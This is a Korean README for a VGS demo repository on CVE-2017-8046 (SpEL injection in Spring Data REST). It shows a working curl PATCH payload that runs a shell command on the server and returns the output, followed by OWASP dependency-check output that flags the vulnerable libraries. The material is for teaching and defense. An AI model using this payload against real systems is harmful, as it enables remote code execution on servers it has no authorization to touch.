
CVE-2017-8046 (Spring Boot REST의 SpEL 주입)에 대한 교육용 데모로, 익스플로잇 단계와 취약한 구성 요소 식별을 위한 OWASP dependency-check 통합을 포함합니다.
면책 조항: 이 저장소는 VGS 블로그 게시물인 How to Avoid "Using Components with Known Vulnerabilities"의 보충 자료입니다. 알려진 보안 취약점(특히 CVE-2017-8046)이 포함된 애플리케이션과 이를 악용하는 방법에 대한 설명이 포함되어 있습니다. 애플리케이션 사용은 본인 책임입니다!
먼저, 저장소 루트에서 다음 명령을 실행하여 애플리케이션을 시작합니다.
mvn clean spring-boot:run
두 번째로, 다음과 같이 POST 요청을 보내 리소스를 생성합니다.
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Unix 기반 운영 체제(예: macOS)에서 애플리케이션을 실행 중인 경우, 응답에 호스트의 네트워크 구성이 포함됩니다. 실제로 모든 SpEL 표현식을 사용할 수 있습니다.
mvn clean package verify
빌드가 실패합니다. 높은 위험도의 취약점이 식별된 종속성이 있기 때문입니다.
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
바로 시작하고 싶으신가요? 시작 가이드를 확인해보세요.
VGS(Very Good Security)는 데이터의 유용성을 내부 및 제3자와 유지하면서 보안 상태를 강화할 수 있도록 해줍니다. 추가적으로, 규정 준수 인증 프로세스를 가속화하고 시장 기회를 가로막는 보안 관련 규정을 신속하게 준수할 수 있도록 도와줍니다.
자세한 내용은 https://www.verygoodsecurity.com/에서 확인하세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.